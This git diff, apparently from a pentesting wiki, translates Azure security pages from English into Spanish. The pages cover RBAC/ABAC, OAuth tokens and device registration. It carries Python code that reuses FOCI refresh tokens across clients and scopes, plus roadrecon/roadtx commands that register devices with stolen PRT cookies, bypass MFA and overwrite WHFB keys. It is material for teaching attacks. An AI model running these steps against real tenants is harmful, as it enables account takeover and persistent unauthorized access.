### Herencia de Permisos
|
||||
|
||||
### Permissions Inheritance
|
||||
En Azure **los permisos pueden ser asignados a cualquier parte de la jerarquía**. Eso incluye grupos de gestión, suscripciones, grupos de recursos y recursos individuales. Los permisos son **heredados** por los **recursos** contenidos de la entidad donde fueron asignados.
|
||||
|
||||
In Azure **permissions are can be assigned to any part of the hierarchy**. That includes management groups, subscriptions, resource groups, and individual resources. Permissions are **inherited** by contained **resources** of the entity where they were assigned.
|
||||
|
||||
This hierarchical structure allows for efficient and scalable management of access permissions.
|
||||
Esta estructura jerárquica permite una gestión eficiente y escalable de los permisos de acceso.
|
||||
|
||||
<figure><img src="../../../images/image (26).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Azure RBAC vs ABAC
|
||||
|
||||
**RBAC** (role-based access control) is what we have seen already in the previous sections: **Assigning a role to a principal to grant him access** over a resource.\
|
||||
However, in some cases you might want to provide **more fined-grained access management** or **simplify** the management of **hundreds** of role **assignments**.
|
||||
**RBAC** (control de acceso basado en roles) es lo que ya hemos visto en las secciones anteriores: **Asignar un rol a un principal para otorgarle acceso** sobre un recurso.\
|
||||
Sin embargo, en algunos casos puede que desees proporcionar **una gestión de acceso más detallada** o **simplificar** la gestión de **cientos** de **asignaciones** de roles.
|
||||
|
||||
Azure **ABAC** (attribute-based access control) builds on Azure RBAC by adding **role assignment conditions based on attributes** in the context of specific actions. A _role assignment condition_ is an **additional check that you can optionally add to your role assignment** to provide more fine-grained access control. A condition filters down permissions granted as a part of the role definition and role assignment. For example, you can **add a condition that requires an object to have a specific tag to read the object**.\
|
||||
You **cannot** explicitly **deny** **access** to specific resources **using conditions**.
|
||||
Azure **ABAC** (control de acceso basado en atributos) se basa en Azure RBAC al agregar **condiciones de asignación de roles basadas en atributos** en el contexto de acciones específicas. Una _condición de asignación de rol_ es un **chequeo adicional que puedes agregar opcionalmente a tu asignación de rol** para proporcionar un control de acceso más detallado. Una condición filtra los permisos otorgados como parte de la definición de rol y la asignación de rol. Por ejemplo, puedes **agregar una condición que requiera que un objeto tenga una etiqueta específica para leer el objeto**.\
|
||||
No **puedes** explícitamente **negar** **acceso** a recursos específicos **usando condiciones**.
|
||||
|
||||
## References
|
||||
## Referencias
|
||||
|
||||
- [https://learn.microsoft.com/en-us/azure/governance/management-groups/overview](https://learn.microsoft.com/en-us/azure/governance/management-groups/overview)
|
||||
- [https://learn.microsoft.com/en-us/azure/cloud-adoption-framework/ready/azure-best-practices/organize-subscriptions](https://learn.microsoft.com/en-us/azure/cloud-adoption-framework/ready/azure-best-practices/organize-subscriptions)
|
||||
@@ -379,7 +375,3 @@ You **cannot** explicitly **deny** **access** to specific resources **using cond
|
||||
- [https://stackoverflow.com/questions/65922566/what-are-the-differences-between-service-principal-and-app-registration](https://stackoverflow.com/questions/65922566/what-are-the-differences-between-service-principal-and-app-registration)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,98 +4,97 @@
|
||||
|
||||
## Basic Information
|
||||
|
||||
Entra ID is Microsoft's cloud-based identity and access management (IAM) platform, serving as the foundational authentication and authorization system for services like Microsoft 365 and Azure Resource Manager. Azure AD implements the OAuth 2.0 authorization framework and the OpenID Connect (OIDC) authentication protocol to manage access to resources.
|
||||
Entra ID es la plataforma de gestión de identidad y acceso (IAM) basada en la nube de Microsoft, que sirve como el sistema fundamental de autenticación y autorización para servicios como Microsoft 365 y Azure Resource Manager. Azure AD implementa el marco de autorización OAuth 2.0 y el protocolo de autenticación OpenID Connect (OIDC) para gestionar el acceso a los recursos.
|
||||
|
||||
### OAuth
|
||||
|
||||
**Key Participants in OAuth 2.0:**
|
||||
**Participantes Clave en OAuth 2.0:**
|
||||
|
||||
1. **Resource Server (RS):** Protects resources owned by the resource owner.
|
||||
2. **Resource Owner (RO):** Typically an end-user who owns the protected resources.
|
||||
3. **Client Application (CA):** An application seeking access to resources on behalf of the resource owner.
|
||||
4. **Authorization Server (AS):** Issues access tokens to client applications after authenticating and authorizing them.
|
||||
1. **Servidor de Recursos (RS):** Protege los recursos propiedad del propietario del recurso.
|
||||
2. **Propietario del Recurso (RO):** Típicamente un usuario final que posee los recursos protegidos.
|
||||
3. **Aplicación Cliente (CA):** Una aplicación que busca acceso a recursos en nombre del propietario del recurso.
|
||||
4. **Servidor de Autorización (AS):** Emite tokens de acceso a las aplicaciones cliente después de autenticar y autorizar.
|
||||
|
||||
**Scopes and Consent:**
|
||||
**Ámbitos y Consentimiento:**
|
||||
|
||||
- **Scopes:** Granular permissions defined on the resource server that specify access levels.
|
||||
- **Consent:** The process by which a resource owner grants a client application permission to access resources with specific scopes.
|
||||
- **Ámbitos:** Permisos granulares definidos en el servidor de recursos que especifican niveles de acceso.
|
||||
- **Consentimiento:** El proceso mediante el cual un propietario de recurso otorga a una aplicación cliente permiso para acceder a recursos con ámbitos específicos.
|
||||
|
||||
**Microsoft 365 Integration:**
|
||||
**Integración con Microsoft 365:**
|
||||
|
||||
- Microsoft 365 utilizes Azure AD for IAM and is composed of multiple "first-party" OAuth applications.
|
||||
- These applications are deeply integrated and often have interdependent service relationships.
|
||||
- To simplify user experience and maintain functionality, Microsoft grants "implied consent" or "pre-consent" to these first-party applications.
|
||||
- **Implied Consent:** Certain applications are automatically **granted access to specific scopes without explicit user or administrator approva**l.
|
||||
- These pre-consented scopes are typically hidden from both users and administrators, making them less visible in standard management interfaces.
|
||||
- Microsoft 365 utiliza Azure AD para IAM y está compuesto por múltiples aplicaciones OAuth de "primera parte".
|
||||
- Estas aplicaciones están profundamente integradas y a menudo tienen relaciones de servicio interdependientes.
|
||||
- Para simplificar la experiencia del usuario y mantener la funcionalidad, Microsoft otorga "consentimiento implícito" o "pre-consentimiento" a estas aplicaciones de primera parte.
|
||||
- **Consentimiento Implícito:** Ciertas aplicaciones son automáticamente **otorgadas acceso a ámbitos específicos sin aprobación explícita del usuario o administrador**.
|
||||
- Estos ámbitos pre-consentidos suelen estar ocultos tanto para los usuarios como para los administradores, haciéndolos menos visibles en las interfaces de gestión estándar.
|
||||
|
||||
**Client Application Types:**
|
||||
**Tipos de Aplicaciones Cliente:**
|
||||
|
||||
1. **Confidential Clients:**
|
||||
- Possess their own credentials (e.g., passwords or certificates).
|
||||
- Can **securely authenticate themselves** to the authorization server.
|
||||
2. **Public Clients:**
|
||||
- Do not have unique credentials.
|
||||
- Cannot securely authenticate to the authorization server.
|
||||
- **Security Implication:** An attacker can impersonate a public client application when requesting tokens, as there is no mechanism for the authorization server to verify the legitimacy of the application.
|
||||
1. **Clientes Confidenciales:**
|
||||
- Poseen sus propias credenciales (por ejemplo, contraseñas o certificados).
|
||||
- Pueden **autenticarse de forma segura** ante el servidor de autorización.
|
||||
2. **Clientes Públicos:**
|
||||
- No tienen credenciales únicas.
|
||||
- No pueden autenticarse de forma segura ante el servidor de autorización.
|
||||
- **Implicación de Seguridad:** Un atacante puede suplantar una aplicación cliente pública al solicitar tokens, ya que no hay un mecanismo para que el servidor de autorización verifique la legitimidad de la aplicación.
|
||||
|
||||
## Authentication Tokens
|
||||
|
||||
There are **three types of tokens** used in OIDC:
|
||||
Hay **tres tipos de tokens** utilizados en OIDC:
|
||||
|
||||
- [**Access Tokens**](https://learn.microsoft.com/en-us/azure/active-directory/develop/access-tokens)**:** The client presents this token to the resource server to **access resources**. It can be used only for a specific combination of user, client, and resource and **cannot be revoked** until expiry - that is 1 hour by default.
|
||||
- **ID Tokens**: The client receives this **token from the authorization server**. It contains basic information about the user. It is **bound to a specific combination of user and client**.
|
||||
- **Refresh Tokens**: Provided to the client with access token. Used to **get new access and ID tokens**. It is bound to a specific combination of user and client and can be revoked. Default expiry is **90 days** for inactive refresh tokens and **no expiry for active tokens** (be from a refresh token is possible to get new refresh tokens).
|
||||
- A refresh token should be tied to an **`aud`** , to some **scopes**, and to a **tenant** and it should only be able to generate access tokens for that aud, scopes (and no more) and tenant. However, this is not the case with **FOCI applications tokens**.
|
||||
- A refresh token is encrypted and only Microsoft can decrypt it.
|
||||
- Getting a new refresh token doesn't revoke the previous refresh token.
|
||||
- [**Tokens de Acceso**](https://learn.microsoft.com/en-us/azure/active-directory/develop/access-tokens)**:** El cliente presenta este token al servidor de recursos para **acceder a los recursos**. Solo se puede usar para una combinación específica de usuario, cliente y recurso y **no puede ser revocado** hasta su expiración - que es de 1 hora por defecto.
|
||||
- **Tokens de ID**: El cliente recibe este **token del servidor de autorización**. Contiene información básica sobre el usuario. Está **vinculado a una combinación específica de usuario y cliente**.
|
||||
- **Tokens de Actualización**: Proporcionados al cliente con el token de acceso. Se utilizan para **obtener nuevos tokens de acceso e ID**. Está vinculado a una combinación específica de usuario y cliente y puede ser revocado. La expiración por defecto es **90 días** para tokens de actualización inactivos y **sin expiración para tokens activos** (es posible obtener nuevos tokens de actualización a partir de un token de actualización).
|
||||
- Un token de actualización debe estar vinculado a un **`aud`**, a algunos **ámbitos**, y a un **inquilino** y solo debería poder generar tokens de acceso para ese aud, ámbitos (y no más) e inquilino. Sin embargo, este no es el caso con **tokens de aplicaciones FOCI**.
|
||||
- Un token de actualización está cifrado y solo Microsoft puede descifrarlo.
|
||||
- Obtener un nuevo token de actualización no revoca el token de actualización anterior.
|
||||
|
||||
> [!WARNING]
|
||||
> Information for **conditional access** is **stored** inside the **JWT**. So, if you request the **token from an allowed IP address**, that **IP** will be **stored** in the token and then you can use that token from a **non-allowed IP to access the resources**.
|
||||
> La información para **acceso condicional** está **almacenada** dentro del **JWT**. Así que, si solicitas el **token desde una dirección IP permitida**, esa **IP** será **almacenada** en el token y luego puedes usar ese token desde una **IP no permitida para acceder a los recursos**.
|
||||
|
||||
### Access Tokens "aud"
|
||||
|
||||
The field indicated in the "aud" field is the **resource server** (the application) used to perform the login.
|
||||
El campo indicado en el campo "aud" es el **servidor de recursos** (la aplicación) utilizado para realizar el inicio de sesión.
|
||||
|
||||
The command `az account get-access-token --resource-type [...]` supports the following types and each of them will add a specific "aud" in the resulting access token:
|
||||
El comando `az account get-access-token --resource-type [...]` admite los siguientes tipos y cada uno de ellos añadirá un "aud" específico en el token de acceso resultante:
|
||||
|
||||
> [!CAUTION]
|
||||
> Note that the following are just the APIs supported by `az account get-access-token` but there are more.
|
||||
> Ten en cuenta que los siguientes son solo las API admitidas por `az account get-access-token`, pero hay más.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>aud examples</summary>
|
||||
<summary>ejemplos de aud</summary>
|
||||
|
||||
- **aad-graph (Azure Active Directory Graph API)**: Used to access the legacy Azure AD Graph API (deprecated), which allows applications to read and write directory data in Azure Active Directory (Azure AD).
|
||||
- `https://graph.windows.net/`
|
||||
- **aad-graph (Azure Active Directory Graph API)**: Utilizado para acceder a la API de Azure AD Graph heredada (obsoleta), que permite a las aplicaciones leer y escribir datos de directorio en Azure Active Directory (Azure AD).
|
||||
- `https://graph.windows.net/`
|
||||
|
||||
* **arm (Azure Resource Manager)**: Used to manage Azure resources through the Azure Resource Manager API. This includes operations like creating, updating, and deleting resources such as virtual machines, storage accounts, and more.
|
||||
- `https://management.core.windows.net/ or https://management.azure.com/`
|
||||
* **arm (Azure Resource Manager)**: Utilizado para gestionar recursos de Azure a través de la API de Azure Resource Manager. Esto incluye operaciones como crear, actualizar y eliminar recursos como máquinas virtuales, cuentas de almacenamiento, y más.
|
||||
- `https://management.core.windows.net/ o https://management.azure.com/`
|
||||
|
||||
- **batch (Azure Batch Services)**: Used to access Azure Batch, a service that enables large-scale parallel and high-performance computing applications efficiently in the cloud.
|
||||
- `https://batch.core.windows.net/`
|
||||
- **batch (Azure Batch Services)**: Utilizado para acceder a Azure Batch, un servicio que permite aplicaciones de computación paralela y de alto rendimiento a gran escala de manera eficiente en la nube.
|
||||
- `https://batch.core.windows.net/`
|
||||
|
||||
* **data-lake (Azure Data Lake Storage)**: Used to interact with Azure Data Lake Storage Gen1, which is a scalable data storage and analytics service.
|
||||
- `https://datalake.azure.net/`
|
||||
* **data-lake (Azure Data Lake Storage)**: Utilizado para interactuar con Azure Data Lake Storage Gen1, que es un servicio de almacenamiento y análisis de datos escalable.
|
||||
- `https://datalake.azure.net/`
|
||||
|
||||
- **media (Azure Media Services)**: Used to access Azure Media Services, which provide cloud-based media processing and delivery services for video and audio content.
|
||||
- `https://rest.media.azure.net`
|
||||
- **media (Azure Media Services)**: Utilizado para acceder a Azure Media Services, que proporciona servicios de procesamiento y entrega de medios basados en la nube para contenido de video y audio.
|
||||
- `https://rest.media.azure.net`
|
||||
|
||||
* **ms-graph (Microsoft Graph API)**: Used to access the Microsoft Graph API, the unified endpoint for Microsoft 365 services data. It allows you to access data and insights from services like Azure AD, Office 365, Enterprise Mobility, and Security services.
|
||||
- `https://graph.microsoft.com`
|
||||
* **ms-graph (Microsoft Graph API)**: Utilizado para acceder a la API de Microsoft Graph, el punto de acceso unificado para los datos de servicios de Microsoft 365. Permite acceder a datos e información de servicios como Azure AD, Office 365, Enterprise Mobility y servicios de Seguridad.
|
||||
- `https://graph.microsoft.com`
|
||||
|
||||
- **oss-rdbms (Azure Open Source Relational Databases)**: Used to access Azure Database services for open-source relational database engines like MySQL, PostgreSQL, and MariaDB.
|
||||
- `https://ossrdbms-aad.database.windows.net`
|
||||
- **oss-rdbms (Azure Open Source Relational Databases)**: Utilizado para acceder a los servicios de base de datos de Azure para motores de bases de datos relacionales de código abierto como MySQL, PostgreSQL y MariaDB.
|
||||
- `https://ossrdbms-aad.database.windows.net`
|
||||
|
||||
</details>
|
||||
|
||||
### Access Tokens Scopes "scp"
|
||||
|
||||
The scope of an access token is stored inside the scp key inside the access token JWT. These scopes define what the access token has access to.
|
||||
El ámbito de un token de acceso se almacena dentro de la clave scp dentro del JWT del token de acceso. Estos ámbitos definen a qué tiene acceso el token de acceso.
|
||||
|
||||
If a JWT is allowed to contact an specific API but **doesn't have the scope** to perform the requested action, it **won't be able to perform the action** with that JWT.
|
||||
Si un JWT tiene permitido contactar una API específica pero **no tiene el ámbito** para realizar la acción solicitada, **no podrá realizar la acción** con ese JWT.
|
||||
|
||||
### Get refresh & access token example
|
||||
|
||||
```python
|
||||
# Code example from https://github.com/secureworks/family-of-client-ids-research
|
||||
import msal
|
||||
@@ -107,17 +106,17 @@ from typing import Any, Dict, List
|
||||
|
||||
# LOGIN VIA CODE FLOW AUTHENTICATION
|
||||
azure_cli_client = msal.PublicClientApplication(
|
||||
"04b07795-8ddb-461a-bbee-02f9e1bf7b46" # ID for Azure CLI client
|
||||
"04b07795-8ddb-461a-bbee-02f9e1bf7b46" # ID for Azure CLI client
|
||||
)
|
||||
device_flow = azure_cli_client.initiate_device_flow(
|
||||
scopes=["https://graph.microsoft.com/.default"]
|
||||
scopes=["https://graph.microsoft.com/.default"]
|
||||
)
|
||||
print(device_flow["message"])
|
||||
|
||||
# Perform device code flow authentication
|
||||
|
||||
azure_cli_bearer_tokens_for_graph_api = azure_cli_client.acquire_token_by_device_flow(
|
||||
device_flow
|
||||
device_flow
|
||||
)
|
||||
pprint(azure_cli_bearer_tokens_for_graph_api)
|
||||
|
||||
@@ -125,83 +124,74 @@ pprint(azure_cli_bearer_tokens_for_graph_api)
|
||||
|
||||
# DECODE JWT
|
||||
def decode_jwt(base64_blob: str) -> Dict[str, Any]:
|
||||
"""Decodes base64 encoded JWT blob"""
|
||||
return jwt.decode(
|
||||
base64_blob, options={"verify_signature": False, "verify_aud": False}
|
||||
)
|
||||
"""Decodes base64 encoded JWT blob"""
|
||||
return jwt.decode(
|
||||
base64_blob, options={"verify_signature": False, "verify_aud": False}
|
||||
)
|
||||
decoded_access_token = decode_jwt(
|
||||
azure_cli_bearer_tokens_for_graph_api.get("access_token")
|
||||
azure_cli_bearer_tokens_for_graph_api.get("access_token")
|
||||
)
|
||||
pprint(decoded_access_token)
|
||||
|
||||
|
||||
# GET NEW ACCESS TOKEN AND REFRESH TOKEN
|
||||
new_azure_cli_bearer_tokens_for_graph_api = (
|
||||
# Same client as original authorization
|
||||
azure_cli_client.acquire_token_by_refresh_token(
|
||||
azure_cli_bearer_tokens_for_graph_api.get("refresh_token"),
|
||||
# Same scopes as original authorization
|
||||
scopes=["https://graph.microsoft.com/.default"],
|
||||
)
|
||||
# Same client as original authorization
|
||||
azure_cli_client.acquire_token_by_refresh_token(
|
||||
azure_cli_bearer_tokens_for_graph_api.get("refresh_token"),
|
||||
# Same scopes as original authorization
|
||||
scopes=["https://graph.microsoft.com/.default"],
|
||||
)
|
||||
)
|
||||
pprint(new_azure_cli_bearer_tokens_for_graph_api)
|
||||
```
|
||||
## Escalación de privilegios de tokens FOCI
|
||||
|
||||
## FOCI Tokens Privilege Escalation
|
||||
Anteriormente se mencionó que los tokens de actualización deben estar vinculados a los **alcances** con los que se generaron, a la **aplicación** y al **inquilino** para el que se generaron. Si se rompe alguno de estos límites, es posible escalar privilegios, ya que será posible generar tokens de acceso a otros recursos e inquilinos a los que el usuario tiene acceso y con más alcances de los que se pretendía originalmente.
|
||||
|
||||
Previously it was mentioned that refresh tokens should be tied to the **scopes** it was generated with, to the **application** and **tenant** it was generated to. If any of these boundaries is broken, it's possible to escalate privileges as it will be possible to generate access tokens to other resources and tenants the user has access to and with more scopes than it was originally intended.
|
||||
Además, **esto es posible con todos los tokens de actualización** en la [plataforma de identidad de Microsoft](https://learn.microsoft.com/en-us/entra/identity-platform/) (cuentas de Microsoft Entra, cuentas personales de Microsoft y cuentas sociales como Facebook y Google) porque, como mencionan los [**documentos**](https://learn.microsoft.com/en-us/entra/identity-platform/refresh-tokens): "Los tokens de actualización están vinculados a una combinación de usuario y cliente, pero **no están vinculados a un recurso o inquilino**. Un cliente puede usar un token de actualización para adquirir tokens de acceso **a través de cualquier combinación de recurso e inquilino** donde tenga permiso para hacerlo. Los tokens de actualización están encriptados y solo la plataforma de identidad de Microsoft puede leerlos."
|
||||
|
||||
Moreover, **this is possible with all refresh tokens** in the [Microsoft identity platform](https://learn.microsoft.com/en-us/entra/identity-platform/) (Microsoft Entra accounts, Microsoft personal accounts, and social accounts like Facebook and Google) because as the [**docs**](https://learn.microsoft.com/en-us/entra/identity-platform/refresh-tokens) mention: "Refresh tokens are bound to a combination of user and client, but **aren't tied to a resource or tenant**. A client can use a refresh token to acquire access tokens **across any combination of resource and tenant** where it has permission to do so. Refresh tokens are encrypted and only the Microsoft identity platform can read them."
|
||||
Además, tenga en cuenta que las aplicaciones FOCI son aplicaciones públicas, por lo que **no se necesita ningún secreto** para autenticarse en el servidor.
|
||||
|
||||
Moreover, note that the FOCI applications are public applications, so **no secret is needed** to authenticate to the server.
|
||||
Luego, los clientes FOCI conocidos reportados en la [**investigación original**](https://github.com/secureworks/family-of-client-ids-research/tree/main) pueden ser [**encontrados aquí**](https://github.com/secureworks/family-of-client-ids-research/blob/main/known-foci-clients.csv).
|
||||
|
||||
Then known FOCI clients reported in the [**original research**](https://github.com/secureworks/family-of-client-ids-research/tree/main) can be [**found here**](https://github.com/secureworks/family-of-client-ids-research/blob/main/known-foci-clients.csv).
|
||||
|
||||
### Get different scope
|
||||
|
||||
Following with the previous example code, in this code it's requested a new token for a different scope:
|
||||
### Obtener un alcance diferente
|
||||
|
||||
Siguiendo con el código de ejemplo anterior, en este código se solicita un nuevo token para un alcance diferente:
|
||||
```python
|
||||
# Code from https://github.com/secureworks/family-of-client-ids-research
|
||||
azure_cli_bearer_tokens_for_outlook_api = (
|
||||
# Same client as original authorization
|
||||
azure_cli_client.acquire_token_by_refresh_token(
|
||||
new_azure_cli_bearer_tokens_for_graph_api.get(
|
||||
"refresh_token"
|
||||
),
|
||||
# But different scopes than original authorization
|
||||
scopes=[
|
||||
"https://outlook.office.com/.default"
|
||||
],
|
||||
)
|
||||
# Same client as original authorization
|
||||
azure_cli_client.acquire_token_by_refresh_token(
|
||||
new_azure_cli_bearer_tokens_for_graph_api.get(
|
||||
"refresh_token"
|
||||
),
|
||||
# But different scopes than original authorization
|
||||
scopes=[
|
||||
"https://outlook.office.com/.default"
|
||||
],
|
||||
)
|
||||
)
|
||||
pprint(azure_cli_bearer_tokens_for_outlook_api)
|
||||
```
|
||||
|
||||
### Get different client and scopes
|
||||
|
||||
### Obtener diferentes clientes y ámbitos
|
||||
```python
|
||||
# Code from https://github.com/secureworks/family-of-client-ids-research
|
||||
microsoft_office_client = msal.PublicClientApplication("d3590ed6-52b3-4102-aeff-aad2292ab01c")
|
||||
microsoft_office_bearer_tokens_for_graph_api = (
|
||||
# This is a different client application than we used in the previous examples
|
||||
microsoft_office_client.acquire_token_by_refresh_token(
|
||||
# But we can use the refresh token issued to our original client application
|
||||
azure_cli_bearer_tokens_for_outlook_api.get("refresh_token"),
|
||||
# And request different scopes too
|
||||
scopes=["https://graph.microsoft.com/.default"],
|
||||
)
|
||||
# This is a different client application than we used in the previous examples
|
||||
microsoft_office_client.acquire_token_by_refresh_token(
|
||||
# But we can use the refresh token issued to our original client application
|
||||
azure_cli_bearer_tokens_for_outlook_api.get("refresh_token"),
|
||||
# And request different scopes too
|
||||
scopes=["https://graph.microsoft.com/.default"],
|
||||
)
|
||||
)
|
||||
# How is this possible?
|
||||
pprint(microsoft_office_bearer_tokens_for_graph_api)
|
||||
```
|
||||
|
||||
## References
|
||||
## Referencias
|
||||
|
||||
- [https://github.com/secureworks/family-of-client-ids-research](https://github.com/secureworks/family-of-client-ids-research)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -2,23 +2,21 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
## Información Básica
|
||||
|
||||
When a device joins AzureAD a new object is created in AzureAD.
|
||||
Cuando un dispositivo se une a AzureAD, se crea un nuevo objeto en AzureAD.
|
||||
|
||||
When registering a device, the **user is asked to login with his account** (asking for MFA if needed), then it request tokens for the device registration service and then ask a final confirmation prompt.
|
||||
Al registrar un dispositivo, **se le pide al usuario que inicie sesión con su cuenta** (solicitando MFA si es necesario), luego solicita tokens para el servicio de registro de dispositivos y luego pide una confirmación final.
|
||||
|
||||
Then, two RSA keypairs are generated in the device: The **device key** (**public** key) which is sent to **AzureAD** and the **transport** key (**private** key) which is stored in TPM if possible.
|
||||
|
||||
Then, the **object** is generated in **AzureAD** (not in Intune) and AzureAD gives back to the device a **certificate** signed by it. You can check that the **device is AzureAD joined** and info about the **certificate** (like if it's protected by TPM).:
|
||||
Luego, se generan dos pares de claves RSA en el dispositivo: La **clave del dispositivo** (**clave** pública) que se envía a **AzureAD** y la **clave de transporte** (**clave** privada) que se almacena en TPM si es posible.
|
||||
|
||||
Luego, se genera el **objeto** en **AzureAD** (no en Intune) y AzureAD devuelve al dispositivo un **certificado** firmado por él. Puedes verificar que el **dispositivo está unido a AzureAD** y la información sobre el **certificado** (como si está protegido por TPM).
|
||||
```bash
|
||||
dsregcmd /status
|
||||
```
|
||||
Después del registro del dispositivo, se solicita un **Primary Refresh Token** por el módulo LSASS CloudAP y se entrega al dispositivo. Con el PRT también se entrega la **clave de sesión cifrada para que solo el dispositivo pueda descifrarla** (usando la clave pública de la clave de transporte) y es **necesaria para usar el PRT.**
|
||||
|
||||
After the device registration a **Primary Refresh Token** is requested by the LSASS CloudAP module and given to the device. With the PRT is also delivered the **session key encrypted so only the device can decrypt it** (using the public key of the transport key) and it's **needed to use the PRT.**
|
||||
|
||||
For more information about what is a PRT check:
|
||||
Para más información sobre qué es un PRT, consulta:
|
||||
|
||||
{{#ref}}
|
||||
az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md
|
||||
@@ -26,19 +24,18 @@ az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md
|
||||
|
||||
### TPM - Trusted Platform Module
|
||||
|
||||
The **TPM** **protects** against key **extraction** from a powered down device (if protected by PIN) nd from extracting the private material from the OS layer.\
|
||||
But it **doesn't protect** against **sniffing** the physical connection between the TPM and CPU or **using the cryptograpic material** in the TPM while the system is running from a process with **SYSTEM** rights.
|
||||
El **TPM** **protege** contra la **extracción** de claves de un dispositivo apagado (si está protegido por PIN) y contra la extracción del material privado de la capa del sistema operativo.\
|
||||
Pero **no protege** contra el **sniffing** de la conexión física entre el TPM y la CPU o **el uso del material criptográfico** en el TPM mientras el sistema está en funcionamiento desde un proceso con derechos de **SYSTEM**.
|
||||
|
||||
If you check the following page you will see that **stealing the PRT** can be used to access like a the **user**, which is great because the **PRT is located devices**, so it can be stolen from them (or if not stolen abused to generate new signing keys):
|
||||
Si revisas la siguiente página, verás que **robar el PRT** puede ser utilizado para acceder como el **usuario**, lo cual es excelente porque el **PRT se encuentra en los dispositivos**, por lo que puede ser robado de ellos (o si no es robado, abusado para generar nuevas claves de firma):
|
||||
|
||||
{{#ref}}
|
||||
az-lateral-movement-cloud-on-prem/pass-the-prt.md
|
||||
{{#endref}}
|
||||
|
||||
## Registering a device with SSO tokens
|
||||
|
||||
It would be possible for an attacker to request a token for the Microsoft device registration service from the compromised device and register it:
|
||||
## Registrando un dispositivo con tokens SSO
|
||||
|
||||
Sería posible para un atacante solicitar un token para el servicio de registro de dispositivos de Microsoft desde el dispositivo comprometido y registrarlo:
|
||||
```bash
|
||||
# Initialize SSO flow
|
||||
roadrecon auth prt-init
|
||||
@@ -50,49 +47,46 @@ roadrecon auth -r 01cb2876-7ebd-4aa4-9cc9-d28bd4d359a9 --prt-cookie <cookie>
|
||||
# Custom pyhton script to register a device (check roadtx)
|
||||
registerdevice.py
|
||||
```
|
||||
|
||||
Which will give you a **certificate you can use to ask for PRTs in the future**. Therefore maintaining persistence and **bypassing MFA** because the original PRT token used to register the new device **already had MFA permissions granted**.
|
||||
Lo que te dará un **certificado que puedes usar para solicitar PRTs en el futuro**. Por lo tanto, manteniendo la persistencia y **eludiendo MFA** porque el token PRT original utilizado para registrar el nuevo dispositivo **ya tenía permisos de MFA otorgados**.
|
||||
|
||||
> [!TIP]
|
||||
> Note that to perform this attack you will need permissions to **register new devices**. Also, registering a device doesn't mean the device will be **allowed to enrol into Intune**.
|
||||
> Ten en cuenta que para realizar este ataque necesitarás permisos para **registrar nuevos dispositivos**. Además, registrar un dispositivo no significa que el dispositivo será **autorizado para inscribirse en Intune**.
|
||||
|
||||
> [!CAUTION]
|
||||
> This attack was fixed in September 2021 as you can no longer register new devices using a SSO tokens. However, it's still possible to register devices in a legit way (having username, password and MFA if needed). Check: [**roadtx**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-roadtx-authentication.md).
|
||||
> Este ataque fue solucionado en septiembre de 2021, ya que ya no puedes registrar nuevos dispositivos utilizando tokens SSO. Sin embargo, aún es posible registrar dispositivos de manera legítima (teniendo nombre de usuario, contraseña y MFA si es necesario). Consulta: [**roadtx**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-roadtx-authentication.md).
|
||||
|
||||
## Overwriting a device ticket
|
||||
## Sobrescribiendo un ticket de dispositivo
|
||||
|
||||
It was possible to **request a device ticket**, **overwrite** the current one of the device, and during the flow **steal the PRT** (so no need to steal it from the TPM. For more info [**check this talk**](https://youtu.be/BduCn8cLV1A).
|
||||
Era posible **solicitar un ticket de dispositivo**, **sobrescribir** el actual del dispositivo, y durante el flujo **robar el PRT** (por lo que no es necesario robarlo del TPM. Para más información [**consulta esta charla**](https://youtu.be/BduCn8cLV1A).
|
||||
|
||||
<figure><img src="../../images/image (32).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
> [!CAUTION]
|
||||
> However, this was fixed.
|
||||
> Sin embargo, esto fue solucionado.
|
||||
|
||||
## Overwrite WHFB key
|
||||
## Sobrescribir la clave WHFB
|
||||
|
||||
[**Check the original slides here**](https://dirkjanm.io/assets/raw/Windows%20Hello%20from%20the%20other%20side_nsec_v1.0.pdf)
|
||||
[**Consulta las diapositivas originales aquí**](https://dirkjanm.io/assets/raw/Windows%20Hello%20from%20the%20other%20side_nsec_v1.0.pdf)
|
||||
|
||||
Attack summary:
|
||||
Resumen del ataque:
|
||||
|
||||
- It's possible to **overwrite** the **registered WHFB** key from a **device** via SSO
|
||||
- It **defeats TPM protection** as the key is **sniffed during the generation** of the new key
|
||||
- This also provides **persistence**
|
||||
- Es posible **sobrescribir** la clave **WHFB registrada** de un **dispositivo** a través de SSO
|
||||
- **Elude la protección TPM** ya que la clave es **capturada durante la generación** de la nueva clave
|
||||
- Esto también proporciona **persistencia**
|
||||
|
||||
<figure><img src="../../images/image (34).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Users can modify their own searchableDeviceKey property via the Azure AD Graph, however, the attacker needs to have a device in the tenant (registered on the fly or having stolen cert + key from a legit device) and a valid access token for the AAD Graph.
|
||||
|
||||
Then, it's possible to generate a new key with:
|
||||
Los usuarios pueden modificar su propia propiedad searchableDeviceKey a través del Azure AD Graph, sin embargo, el atacante necesita tener un dispositivo en el inquilino (registrado sobre la marcha o habiendo robado el certificado + clave de un dispositivo legítimo) y un token de acceso válido para el AAD Graph.
|
||||
|
||||
Luego, es posible generar una nueva clave con:
|
||||
```bash
|
||||
roadtx genhellokey -d <device id> -k tempkey.key
|
||||
```
|
||||
|
||||
and then PATCH the information of the searchableDeviceKey:
|
||||
y luego PATCH la información del searchableDeviceKey:
|
||||
|
||||
<figure><img src="../../images/image (36).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
It's possible to get an access token from a user via **device code phishing** and abuse the previous steps to **steal his access**. For more information check:
|
||||
Es posible obtener un token de acceso de un usuario a través de **phishing de código de dispositivo** y abusar de los pasos anteriores para **robar su acceso**. Para más información, consulta:
|
